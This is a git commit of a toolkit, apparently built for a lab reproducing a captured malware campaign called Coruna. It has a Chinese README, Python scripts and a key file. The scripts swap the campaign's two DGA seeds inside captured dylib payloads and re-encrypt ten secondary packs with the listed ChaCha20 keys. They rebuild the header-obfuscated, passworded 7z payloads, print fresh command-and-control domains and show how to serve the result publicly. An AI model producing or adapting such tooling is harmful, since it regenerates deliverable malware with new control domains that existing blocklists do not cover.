This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
+105
View File
@@ -0,0 +1,105 @@
# coruna-lab 工具:DGA seed 替换
## 新建 / 刷新工作树(推荐)
`source/web` + `source/sync` 为 campaign 原样模板。脚本会复制到 **coruna-lab 根目录** 再打补丁:
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
python3 tools/new_project.py
```
等价于:
1. `source/web` → `coruna-lab/web`(覆盖)
2. `source/sync` → `coruna-lab/sync`(覆盖)
3. `python3 tools/patch_all.py --apply --root .`
产物:
- `web/…`、`sync/` — 可服务树(二级包 + daily/erupt 已换 seed)
- `out/seeds.json` — 本次 seed
- `out/domains.json` — Deployment / Reporting 候选域名
常用选项:
```bash
python3 tools/new_project.py --skip-patch # 只复制,不打补丁
python3 tools/new_project.py \
--deployment-seed 09d0b8d58a71653cd1c89c64c866f2e6 \
--reporting-seed 2d2aebba0bf3d7d694194a7ab93b0a96
```
---
## 仅重建(已有根目录 web/sync)
```bash
python3 tools/patch_all.py --root .
# 写入根目录 web/ + sync/:
python3 tools/patch_all.py --apply --root .
```
`--apply` **必须**带 `--root`,且不会写入 `source/`。
也可手动指定 seed:`--deployment-seed … --reporting-seed …`。
---
## 当前(原 campaign)seed
需要提供 **2 个** seed(Deployment + Reporting),不是一个。
| 角色 | 原 seed(正好 32 字符 hex) |
|------|-----------------------------|
| Deployment(dev)DGA | `09d0b8d58a71653cd1c89c64c866f2e6` |
| Reporting DGA | `2d2aebba0bf3d7d694194a7ab93b0a96` |
### 格式要求
- ASCII,**长度 ≤ 32**(二进制槽位定长 32;更长会破坏相邻字符串)
- **推荐正好 32 个十六进制字符**(与原样一致)
- 短于 32 可以,脚本会在槽位内用 `NUL` 填充
- Deployment / Reporting **各提供一个**,彼此独立
依赖:
```bash
pip3 install py7zr pycryptodome
```
源 dylib 仍读自 `coruna-online/`;未 `--apply` 时产物写到 `out/`(或 `<root>/out/`)。
`--apply` 覆盖的是 **工作树** 的 `web/…/*.min.js`(二级)与 `sync/{daily.html,erupt_flee.js}`。
---
## 1. 二级包:改 seed → 重打 10 个 `.min.js`
```bash
python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
--root . \
--apply
```
## 2. Core / daily
```bash
python3 tools/patch_core.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
--root . \
--apply
```
## 3. 只算域名
```bash
python3 tools/compute_dga_domains.py \
--deployment-seed <32hex> \
--reporting-seed <32hex> \
-n 5
```
+130
View File
@@ -0,0 +1,130 @@
"""Shared paths and seed helpers for coruna-lab tooling."""
from __future__ import annotations
import hashlib
import sys
from pathlib import Path
LAB_ROOT = Path(__file__).resolve().parents[1]
SOURCE_ROOT = LAB_ROOT / "source"
ONLINE_ROOT = LAB_ROOT.parent / "coruna-online"
MODULE_HUNT = ONLINE_ROOT / "module_hunt"
if str(MODULE_HUNT) not in sys.path:
sys.path.insert(0, str(MODULE_HUNT))
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
# Campaign originals (current seeds embedded in type-0x01 + core)
ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6"
ORIGINAL_REPORTING_SEED = "2d2aebba0bf3d7d694194a7ab93b0a96"
OLD_DEP = ORIGINAL_DEPLOYMENT_SEED.encode("ascii")
OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii")
# Active tree root for --apply targets (project dir with web/ + sync/).
# Defaults to SOURCE_ROOT so accidental --apply without --root does not invent paths;
# new_project / patch_all --root override this before applying.
_TREE_ROOT = SOURCE_ROOT
CAMPAIGN_DIR = _TREE_ROOT / "web" / CAMPAIGN_HASH
SYNC_DIR = _TREE_ROOT / "sync"
C2_FETCH = ONLINE_ROOT / "c2_fetch"
CORE_DYLIB = (
ONLINE_ROOT
/ "evidence/cases/2026-08-02-coruna-all-26/downloads/extracted"
/ "80fa600e2486e588bb7991766c6b6bada5a5de0a3351a83b46b6920ee4b55ac1"
/ "tmp.dylib"
)
DAILY_BODY = (
ONLINE_ROOT
/ "evidence/cases/2026-08-02-coruna-har/responses"
/ "har-36_6b5f8ad2b8e41bf097b4811c9fb082523a32f72dd83eed49ed09c5a7f9b04027.body"
)
SECONDARY_KEYS = Path(__file__).resolve().parent / "secondary_keys.json"
# Representative dylib per group (same bytes as the other stems in that group)
GROUP_DYLIBS = {
"A": C2_FETCH / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib",
"B": C2_FETCH / "7f208248c748f97956fe4a7cf246c91235852e67_type0x01.dylib",
}
def tree_root() -> Path:
return _TREE_ROOT
def set_tree_root(root: Path) -> Path:
"""Point CAMPAIGN_DIR / SYNC_DIR at root/web/... and root/sync."""
global _TREE_ROOT, CAMPAIGN_DIR, SYNC_DIR
root = root.resolve()
_TREE_ROOT = root
CAMPAIGN_DIR = root / "web" / CAMPAIGN_HASH
SYNC_DIR = root / "sync"
return root
def ensure_tree_layout(root: Path) -> None:
camp = root / "web" / CAMPAIGN_HASH
sync = root / "sync"
if not camp.is_dir():
raise SystemExit(f"missing campaign dir: {camp}")
if not sync.is_dir():
raise SystemExit(f"missing sync dir: {sync}")
def pack_seed(value: str) -> bytes:
data = value.encode("ascii")
if len(data) > 32:
raise SystemExit(
f"seed longer than 32 bytes ({len(data)}): {value!r}\n"
"Provide at most 32 ASCII characters (recommend exactly 32 hex chars)."
)
try:
data.decode("ascii")
except UnicodeDecodeError as exc:
raise SystemExit("seed must be ASCII") from exc
return data + b"\x00" * (32 - len(data))
def validate_seed_arg(name: str, value: str) -> str:
if not value:
raise SystemExit(f"{name} must be non-empty")
pack_seed(value) # length check
return value
def replace_seed(blob: bytearray, old: bytes, new32: bytes) -> int:
count = 0
start = 0
while True:
index = blob.find(old, start)
if index < 0:
break
blob[index : index + 32] = new32
count += 1
start = index + 32
return count
def patch_seeds_in_dylib(
data: bytes,
deployment_seed: str,
reporting_seed: str,
*,
expect_dep: int,
expect_rep: int,
label: str,
) -> bytes:
buf = bytearray(data)
nd = replace_seed(buf, OLD_DEP, pack_seed(deployment_seed))
nr = replace_seed(buf, OLD_REP, pack_seed(reporting_seed))
if nd != expect_dep or nr != expect_rep:
raise SystemExit(
f"{label}: unexpected seed hits dep={nd} rep={nr} "
f"(want {expect_dep}/{expect_rep}). Already patched?"
)
return bytes(buf)
def sha256_hex(data: bytes) -> str:
return hashlib.sha256(data).hexdigest()
+62
View File
@@ -0,0 +1,62 @@
"""Encrypt/decrypt Coruna secondary type-0x01 .min.js packs."""
from __future__ import annotations
import lzma
import struct
from Crypto.Cipher import ChaCha20
WRAP_MAGIC = b"\x0d\xf0\xed\x0b" # 0x0BEDF00D LE
F00D_MAGIC = 0xF00DBEEF
def build_f00dbeef_type01(dylib: bytes) -> bytes:
"""Single-entry F00DBEEF used by this campaign's secondary packs."""
header = struct.pack(
"<6I",
F00D_MAGIC,
1, # version / entry-count field as in sample
0x00010000, # type 0x01
3,
0x18, # payload offset
len(dylib),
)
return header + dylib
def wrap_xz(plaintext: bytes) -> bytes:
compressed = lzma.compress(plaintext, format=lzma.FORMAT_XZ)
return WRAP_MAGIC + struct.pack("<I", len(plaintext)) + compressed
def unwrap_xz(blob: bytes) -> bytes:
if blob[:4] != WRAP_MAGIC:
raise ValueError(f"bad wrap magic: {blob[:4]!r}")
expected = struct.unpack_from("<I", blob, 4)[0]
plain = lzma.decompress(blob[8:])
if len(plain) != expected:
raise ValueError(f"xz size mismatch: {len(plain)} != {expected}")
return plain
def chacha_crypt(data: bytes, key: bytes) -> bytes:
if len(key) != 32:
raise ValueError("ChaCha20 key must be 32 bytes")
return ChaCha20.new(key=key, nonce=b"\x00" * 8).encrypt(data)
def encrypt_secondary_minjs(dylib: bytes, key: bytes) -> bytes:
return chacha_crypt(wrap_xz(build_f00dbeef_type01(dylib)), key)
def decrypt_secondary_minjs(blob: bytes, key: bytes) -> bytes:
plain = unwrap_xz(chacha_crypt(blob, key))
if struct.unpack_from("<I", plain, 0)[0] != F00D_MAGIC:
raise ValueError("not F00DBEEF after decrypt")
offset = struct.unpack_from("<I", plain, 16)[0]
size = struct.unpack_from("<I", plain, 20)[0]
dylib = plain[offset : offset + size]
if len(dylib) != size:
raise ValueError("truncated dylib in F00DBEEF")
return dylib
+77
View File
@@ -0,0 +1,77 @@
#!/usr/bin/env python3
"""Compute Deployment + Reporting DGA candidate domains from seeds (offline)."""
from __future__ import annotations
import argparse
import json
import sys
from pathlib import Path
from _common import (
MODULE_HUNT,
ORIGINAL_DEPLOYMENT_SEED,
ORIGINAL_REPORTING_SEED,
validate_seed_arg,
)
sys.path.insert(0, str(MODULE_HUNT))
from reproduce_coruna_dga import generate_domains # noqa: E402
def main() -> int:
parser = argparse.ArgumentParser(
description="Print Coruna PLServerPool DGA candidates for Deployment + Reporting seeds"
)
parser.add_argument(
"--deployment-seed",
default=ORIGINAL_DEPLOYMENT_SEED,
help=f"default: original campaign seed ({ORIGINAL_DEPLOYMENT_SEED})",
)
parser.add_argument(
"--reporting-seed",
default=ORIGINAL_REPORTING_SEED,
help=f"default: original campaign seed ({ORIGINAL_REPORTING_SEED})",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="candidates per pool (operational pool uses 5; max 512)",
)
parser.add_argument("--json", action="store_true", help="emit JSON")
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
payload = {
"deployment": {
"seed": dep,
"domains": generate_domains(dep, args.count),
},
"reporting": {
"seed": rep,
"domains": generate_domains(rep, args.count),
},
"note": (
"Native helper generates 512 strings; PLServerPool keeps the first 5 "
"as the live candidate pool."
),
}
if args.json:
print(json.dumps(payload, indent=2))
return 0
print(f"deployment seed={dep}")
for i, domain in enumerate(payload["deployment"]["domains"], 1):
print(f" {i:03d} {domain}")
print(f"reporting seed={rep}")
for i, domain in enumerate(payload["reporting"]["domains"], 1):
print(f" {i:03d} {domain}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+111
View File
@@ -0,0 +1,111 @@
#!/usr/bin/env python3
"""Reset lab-root web/ + sync/ from source/, then patch_all --apply (new DGA seeds/domains)."""
from __future__ import annotations
import argparse
import shutil
import subprocess
import sys
from pathlib import Path
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
SOURCE_ROOT = LAB_ROOT / "source"
CAMPAIGN_HASH = "34f5121f572d6742703eb84ec2f866a6"
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Copy source/web + source/sync to coruna-lab root, then run "
"patch_all.py --apply --root <lab-root> (fresh Deployment/Reporting domains)."
)
)
parser.add_argument(
"--deployment-seed",
help="optional; forwarded to patch_all (default: random)",
)
parser.add_argument(
"--reporting-seed",
help="optional; forwarded to patch_all (default: random)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print per pool (default 5)",
)
parser.add_argument(
"--skip-patch",
action="store_true",
help="only copy source trees to lab root; do not run patch_all",
)
args = parser.parse_args()
src_web = SOURCE_ROOT / "web"
src_sync = SOURCE_ROOT / "sync"
if not (src_web / CAMPAIGN_HASH).is_dir():
raise SystemExit(f"missing source campaign: {src_web / CAMPAIGN_HASH}")
if not src_sync.is_dir():
raise SystemExit(f"missing source sync: {src_sync}")
dst_web = LAB_ROOT / "web"
dst_sync = LAB_ROOT / "sync"
print("=== reset lab root from source ===")
print(f"from: {SOURCE_ROOT}")
print(f"to: {LAB_ROOT}/{{web,sync}}")
replace_tree(src_web, dst_web)
replace_tree(src_sync, dst_sync)
print(f"copied web/ ({CAMPAIGN_HASH}) + sync/")
if args.skip_patch:
print("skip-patch: done (source copy only)")
return 0
cmd = [
sys.executable,
str(TOOLS / "patch_all.py"),
"--apply",
"--root",
str(LAB_ROOT),
"-n",
str(args.count),
]
if args.deployment_seed:
cmd += ["--deployment-seed", args.deployment_seed]
if args.reporting_seed:
cmd += ["--reporting-seed", args.reporting_seed]
print()
print("=== patch_all --apply ===")
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
print()
print("=== ready ===")
print(f"web: {dst_web / CAMPAIGN_HASH}")
print(f"sync: {dst_sync}")
print(f"seeds: {LAB_ROOT / 'out' / 'seeds.json'}")
print(f"domains: {LAB_ROOT / 'out' / 'domains.json'}")
print()
print("serve example:")
print(f" cd {LAB_ROOT} && python3 -m http.server 8765 --bind 0.0.0.0")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+166
View File
@@ -0,0 +1,166 @@
#!/usr/bin/env python3
"""All-in-one: generate seeds, rebuild secondary packs + core/daily, print DGA domains."""
from __future__ import annotations
import argparse
import json
import secrets
import subprocess
import sys
from pathlib import Path
TOOLS = Path(__file__).resolve().parent
LAB_ROOT = TOOLS.parent
def gen_seed() -> str:
"""32 lowercase hex chars (fits the 32-byte seed slot)."""
return secrets.token_hex(16)
def run(cmd: list[str]) -> None:
print("+", " ".join(cmd), flush=True)
subprocess.run(cmd, cwd=str(LAB_ROOT), check=True)
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Generate Deployment/Reporting seeds, run patch_secondary_packs → "
"patch_core → compute_dga_domains, print final domains."
)
)
parser.add_argument(
"--deployment-seed",
help="optional; default: random 32 hex chars",
)
parser.add_argument(
"--reporting-seed",
help="optional; default: random 32 hex chars",
)
parser.add_argument(
"--root",
type=Path,
help="project root with web/ + sync/ (required with --apply)",
)
parser.add_argument(
"--apply",
action="store_true",
help="pass --apply to patch_secondary_packs and patch_core (write into --root)",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="DGA candidates to print per pool (default 5)",
)
args = parser.parse_args()
if args.apply and not args.root:
raise SystemExit("--apply requires --root <project-dir>")
dep = args.deployment_seed or gen_seed()
rep = args.reporting_seed or gen_seed()
if dep == rep:
# avoid accidental identical pools
while rep == dep:
rep = gen_seed()
out_root = (args.root.resolve() / "out") if args.root else (LAB_ROOT / "out")
out_root.mkdir(parents=True, exist_ok=True)
seeds_path = out_root / "seeds.json"
seeds_path.write_text(
json.dumps(
{
"deployment_seed": dep,
"reporting_seed": rep,
},
indent=2,
)
+ "\n"
)
print("=== seeds ===")
print(f"deployment: {dep}")
print(f"reporting: {rep}")
print(f"saved: {seeds_path}")
if args.root:
print(f"root: {args.root.resolve()}")
print()
py = sys.executable
apply = ["--apply"] if args.apply else []
root = ["--root", str(args.root.resolve())] if args.root else []
print("=== 1/3 patch_secondary_packs ===")
run(
[
py,
str(TOOLS / "patch_secondary_packs.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
*root,
*apply,
]
)
print()
print("=== 2/3 patch_core ===")
run(
[
py,
str(TOOLS / "patch_core.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
*root,
*apply,
]
)
print()
print("=== 3/3 compute_dga_domains ===")
result = subprocess.run(
[
py,
str(TOOLS / "compute_dga_domains.py"),
"--deployment-seed",
dep,
"--reporting-seed",
rep,
"-n",
str(args.count),
"--json",
],
cwd=str(LAB_ROOT),
check=True,
capture_output=True,
text=True,
)
domains = json.loads(result.stdout)
domains_path = out_root / "domains.json"
domains_path.write_text(json.dumps(domains, indent=2) + "\n")
print()
print("=== final domains ===")
print(f"deployment seed={dep}")
for i, domain in enumerate(domains["deployment"]["domains"], 1):
print(f" {i:03d} {domain}")
print(f"reporting seed={rep}")
for i, domain in enumerate(domains["reporting"]["domains"], 1):
print(f" {i:03d} {domain}")
print()
print(f"seeds: {seeds_path}")
print(f"domains: {domains_path}")
if not args.apply:
print("Note: outputs are under out/ only. Use new_project.py or --apply --root <project>.")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+196
View File
@@ -0,0 +1,196 @@
#!/usr/bin/env python3
"""Patch DGA seeds in core (erupt_flee) and rebuild daily.html with updated sha256/size."""
from __future__ import annotations
import argparse
import json
import shutil
import struct
import tempfile
from pathlib import Path
from _common import (
CORE_DYLIB,
DAILY_BODY,
LAB_ROOT,
MODULE_HUNT,
SOURCE_ROOT,
ensure_tree_layout,
patch_seeds_in_dylib,
set_tree_root,
sha256_hex,
tree_root,
validate_seed_arg,
)
import _common
import sys
sys.path.insert(0, str(MODULE_HUNT))
from coruna_netconfig_pipeline import ( # noqa: E402
HEADER_MARKER_1,
HEADER_MARKER_2,
HEADER_XOR,
STANDARD_7Z_PREFIX,
derive_archive_password,
repair_coruna_7z_header,
)
from reproduce_coruna_dga import generate_domains # noqa: E402
try:
import py7zr
except ImportError as exc: # pragma: no cover
raise SystemExit("py7zr required: pip3 install py7zr") from exc
def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
if not standard_7z.startswith(STANDARD_7Z_PREFIX):
raise ValueError("expected a standard 7z archive")
next_header_offset = struct.unpack_from("<Q", standard_7z, 12)[0]
next_header_size = struct.unpack_from("<Q", standard_7z, 20)[0]
out = bytearray(standard_7z)
struct.pack_into("<Q", out, 0, HEADER_XOR ^ next_header_offset)
struct.pack_into("<Q", out, 8, HEADER_XOR ^ next_header_size)
struct.pack_into("<Q", out, 16, HEADER_MARKER_1)
struct.pack_into("<Q", out, 24, HEADER_MARKER_2)
return bytes(out)
def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp)
member = root / member_name
member.write_bytes(payload)
archive = root / "out.7z"
with py7zr.SevenZipFile(archive, mode="w", password=password) as handle:
handle.write(member, arcname=member_name)
return archive.read_bytes()
def extract_daily_config_bytes() -> bytes:
repaired, _ = repair_coruna_7z_header(DAILY_BODY.read_bytes())
password = derive_archive_password()
with tempfile.TemporaryDirectory() as tmp:
archive = Path(tmp) / "daily.7z"
archive.write_bytes(repaired)
with py7zr.SevenZipFile(archive, mode="r", password=password) as handle:
handle.extractall(tmp)
return (Path(tmp) / "tmp.dylib").read_bytes()
def update_core_fields(config_bytes: bytes, digest: str, size: int) -> bytes:
obj = json.loads(config_bytes)
obj["core"]["sha256"] = digest
obj["core"]["size"] = size
return json.dumps(obj, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
def main() -> int:
parser = argparse.ArgumentParser(
description="Patch core seeds and rebuild sync/erupt_flee.js + sync/daily.html"
)
parser.add_argument("--deployment-seed", required=True)
parser.add_argument("--reporting-seed", required=True)
parser.add_argument(
"--root",
type=Path,
help="project root containing web/ + sync/ (required with --apply)",
)
parser.add_argument(
"--out",
type=Path,
help="output dir (default: <root>/out/sync or lab out/sync)",
)
parser.add_argument(
"--apply",
action="store_true",
help="copy daily.html + erupt_flee.js into <root>/sync/",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
if args.out is None:
args.out = tree_root() / "out" / "sync" if args.root else LAB_ROOT / "out" / "sync"
sync_dir = _common.SYNC_DIR
if not CORE_DYLIB.is_file():
raise SystemExit(f"missing core dylib: {CORE_DYLIB}")
if not DAILY_BODY.is_file():
raise SystemExit(f"missing daily body: {DAILY_BODY}")
patched = patch_seeds_in_dylib(
CORE_DYLIB.read_bytes(),
dep,
rep,
expect_dep=2,
expect_rep=2,
label="core/tmp.dylib",
)
digest = sha256_hex(patched)
size = len(patched)
password = derive_archive_password()
erupt_wire = obfuscate_coruna_7z_header(
make_passworded_7z("tmp.dylib", patched, password)
)
repaired, _ = repair_coruna_7z_header(erupt_wire)
assert repaired.startswith(STANDARD_7Z_PREFIX)
config_bytes = update_core_fields(extract_daily_config_bytes(), digest, size)
daily_wire = obfuscate_coruna_7z_header(
make_passworded_7z("tmp.dylib", config_bytes, password)
)
out: Path = args.out
out.mkdir(parents=True, exist_ok=True)
(out / "erupt_flee.js").write_bytes(erupt_wire)
(out / "daily.html").write_bytes(daily_wire)
(out / "tmp.patched.dylib").write_bytes(patched)
(out / "config.patched.json").write_text(
json.dumps(json.loads(config_bytes), indent=2) + "\n"
)
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"core_sha256": digest,
"core_size": size,
"daily_sha256": sha256_hex(daily_wire),
"erupt_flee_sha256": sha256_hex(erupt_wire),
"deployment_domains": generate_domains(dep, 5),
"reporting_domains": generate_domains(rep, 5),
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
print(f"core sha256={digest} size={size}")
print(f"wrote {out / 'erupt_flee.js'}")
print(f"wrote {out / 'daily.html'} (core.sha256/size updated)")
print("deployment domains:")
for d in manifest["deployment_domains"]:
print(f" {d}")
print("reporting domains:")
for d in manifest["reporting_domains"]:
print(f" {d}")
if args.apply:
shutil.copy2(out / "erupt_flee.js", sync_dir / "erupt_flee.js")
shutil.copy2(out / "daily.html", sync_dir / "daily.html")
print(f"applied -> {sync_dir}")
else:
print(f"\nRe-run with --apply --root <project> to overwrite sync/{{daily.html,erupt_flee.js}}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+143
View File
@@ -0,0 +1,143 @@
#!/usr/bin/env python3
"""Patch DGA seeds in the two unique type-0x01 dylibs and rebuild all 10 secondary .min.js."""
from __future__ import annotations
import argparse
import json
import shutil
from pathlib import Path
from _common import (
GROUP_DYLIBS,
LAB_ROOT,
SECONDARY_KEYS,
SOURCE_ROOT,
ensure_tree_layout,
patch_seeds_in_dylib,
set_tree_root,
sha256_hex,
tree_root,
validate_seed_arg,
)
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common
def main() -> int:
parser = argparse.ArgumentParser(
description=(
"Replace Deployment/Reporting seeds in type-0x01 helpers and "
"re-encrypt all 10 secondary .min.js (same filenames, per-stem ChaCha keys)."
)
)
parser.add_argument(
"--deployment-seed",
required=True,
help="new Deployment DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--reporting-seed",
required=True,
help="new Reporting DGA seed (<=32 ASCII; recommend 32 hex chars)",
)
parser.add_argument(
"--root",
type=Path,
help="project root containing web/ + sync/ (required with --apply)",
)
parser.add_argument(
"--out",
type=Path,
help="output directory for rebuilt .min.js (default: <root>/out/secondary or lab out/)",
)
parser.add_argument(
"--apply",
action="store_true",
help="also copy outputs into <root>/web/.../",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
if args.root:
set_tree_root(args.root)
ensure_tree_layout(tree_root())
if args.apply:
if not args.root:
raise SystemExit("--apply requires --root <project-dir> (refusing to write into source/)")
if tree_root().resolve() == SOURCE_ROOT.resolve():
raise SystemExit("refusing --apply into source/; create a project first")
out = args.out or (tree_root() / "out" / "secondary" if args.root else LAB_ROOT / "out" / "secondary")
# re-bind after set_tree_root
campaign_dir = _common.CAMPAIGN_DIR
meta = json.loads(SECONDARY_KEYS.read_text())
stems = meta["stems"]
patched: dict[str, bytes] = {}
for group, path in GROUP_DYLIBS.items():
if not path.is_file():
raise SystemExit(f"missing source dylib: {path}")
patched[group] = patch_seeds_in_dylib(
path.read_bytes(),
dep,
rep,
expect_dep=1,
expect_rep=1,
label=path.name,
)
print(
f"group {group}: patched {path.name} "
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
)
out.mkdir(parents=True, exist_ok=True)
(out / "dylibs").mkdir(exist_ok=True)
for group, data in patched.items():
(out / "dylibs" / f"group_{group}_type0x01.dylib").write_bytes(data)
built = []
for stem, info in stems.items():
group = info["group"]
key = bytes.fromhex(info["key"])
wire = encrypt_secondary_minjs(patched[group], key)
# sanity: decrypt back
check = decrypt_secondary_minjs(wire, key)
if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}")
dest = out / f"{stem}.min.js"
dest.write_bytes(wire)
built.append(
{
"stem": stem,
"group": group,
"size": len(wire),
"sha256": sha256_hex(wire),
}
)
print(f" wrote {dest.name} ({len(wire)} bytes)")
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
}
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply:
for item in built:
src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"\nDone. Output: {out}")
if not args.apply:
print(f"Re-run with --apply --root <project> to overwrite files under web/")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+45
View File
@@ -0,0 +1,45 @@
{
"note": "Per-stem ChaCha20 keys from type-0x07 (nonce = 8 zero bytes). Groups A/B are the two unique type-0x01 dylib builds.",
"stems": {
"039c68f0ca742a85e94516818385a9eca2e204d8": {
"key": "41080698d8009de47825e61b463ab866d03d7a2bc24879cb70bc84e852c570a1",
"group": "A"
},
"347367155da44f3efcc9053337913061079610b9": {
"key": "ff6a753ba3a647cd3373db375d2c9a2ddd88ea5765309a1d7f04f0e24a8e176e",
"group": "A"
},
"65704c0722165a7bdedad3f3f61258b2f95470f6": {
"key": "6209dd85224a1cc8cb79acad5fdd97c69c7c21a4f4564631b0b60bb8685f14cd",
"group": "A"
},
"6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb": {
"key": "a78d2be99679c3af3305b09690192bde0dd16d80631490d37b010e87e5b981a4",
"group": "A"
},
"743312cafb58176af57b89098d94dca1c60f8d1e": {
"key": "2e7827d0afe2043c6f044bb3ba19b76e3854d6e9d5f0615ed37b21b680c77347",
"group": "A"
},
"1d0df5a0a12a20aa8b0c8aeb660742268f311d19": {
"key": "e911b14d19a64bbfbaab5290d94562b4f91497b0381f80d1d598a8515b065c1d",
"group": "B"
},
"242a0afb1d88b83e9a1a5b570fed6778def892fc": {
"key": "67a37359ad3e7a67cdc845777877c3568222ffab5f2d1b0d842106cea320189b",
"group": "B"
},
"630c2b42300333d91588353d43afab9ec8325e09": {
"key": "75c803ca046bbd54ee11c49874692987987d0f0ed1c2bfa291e20b75c33d8797",
"group": "B"
},
"7cb20652ef7156e931f894dd3d99f24601b80368": {
"key": "4eb362e059e8a6c759a648dede5e616fdf99fedf384b91e8ced94a0e41bf2587",
"group": "B"
},
"7f208248c748f97956fe4a7cf246c91235852e67": {
"key": "8808834fb2656ff937e6e0f737f1074790bd8be6cd62ddf7dd6133a04c4eb471",
"group": "B"
}
}
}